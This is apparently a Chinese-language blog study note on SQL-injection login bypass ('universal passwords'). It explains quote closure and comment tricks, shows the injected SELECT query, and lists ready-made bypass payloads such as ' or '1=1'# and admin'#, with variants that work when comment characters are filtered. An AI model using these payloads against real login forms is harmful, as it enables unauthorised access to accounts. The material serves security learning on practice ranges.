网络安全学习笔记——万能密码

万能密码

万能密码也是和闭合的概念一样的,多用于登录框,就是可以随便输入,但仍能登录进去

万能密码账号框输入' or '1=1'# 之后,密码框可以随便输入,因为会被注释符注释掉;但是如果在注释符被过滤的时候,账号框和密码框都必须要输入 ' or '1=1 或者' or '1=1' '

admin :123456 在应用中是非常常见且经典的一个弱口令

数据库查询——在username, password这两个表下面查找输入的内容,如果输入内存在表里(即输入账号密码确实是该数据库的账号,就会登录成功;否则就会失败),且只查询第一个————因为一般账号密码不会有重复的
SELECT username, password FROM users WHERE username='admin' and password='123456' LIMIT 0,1

如果在设计登录框的时候设计的逻辑存在漏洞,就会存在SQL注入,此时就称为万能密码
万能密码就是使数据库的账号密码无论是什么,都可以登陆进去,然后登录其管理员账号,修改管理员账号,此时就可以使用这个账号登录进去

SELECT username, password FROM users WHERE username='' or '1=1'#' and password='' or '1=1'#' LIMIT 0,1
此时,' 是用来闭合之前的单引号的,然后或一个真,其整体结果为真,#就相当于注释符,出现#之后,后面的语句就都被注释了,不再执行————也就是说,只要在账号一栏上输入的是 ' or '1=1'# ,后面密码一栏输什么都会注入成功之后
由于逻辑上,同一时间只能登录一个账号,所以————在靶场11里。万能密码回显的是第一个账号密码

如果不使用注释符,如 #,-- - 等,还怎么让万能密码仍能使用

由于原来注释符是用来注释账号密码框里的后单引号(前面的单引号已经被注入语句里的 ' or '1=1'# 注释掉了,所以就会多余一个后单引号),如果逻辑设计上过滤了注释符的话,必须想办法使后面的单引号也闭合

所以有两种方法,基于原来的带注释符的万能密码' or '1=1'#

①' or '1=1    逻辑真后面不加单引号,此时后单引号与逻辑真闭合

②' or '1=1' '  逻辑真后面再加一个单引号,此时后单引号与该单引号闭合

通过以上的闭合,万能密码仍能使用

数值型万能账号

  • a or true #
  • a or 1 #
  • a or 1=1 #
  • a or true – a
  • a or 1 – a
  • a or 1=1 – a

引号字符型万能密码

  • a" or true #
  • a" or 1 #
  • a" or 1=1 #
  • a" or true – a
  • a" or 1 – a
  • a" or 1=1 – a

万能账号的使用

  • 账号输入: a or true #
  • 密码随便输入,比如:123456

数值型万能密码

  • admin #
  • admin – a

引号字符串型万能密码

  • admin' #
  • admin' – a

万能密码的使用

  • 用户名输入: admin'#
  • 密码随便输入,比如: 123456
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nosery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值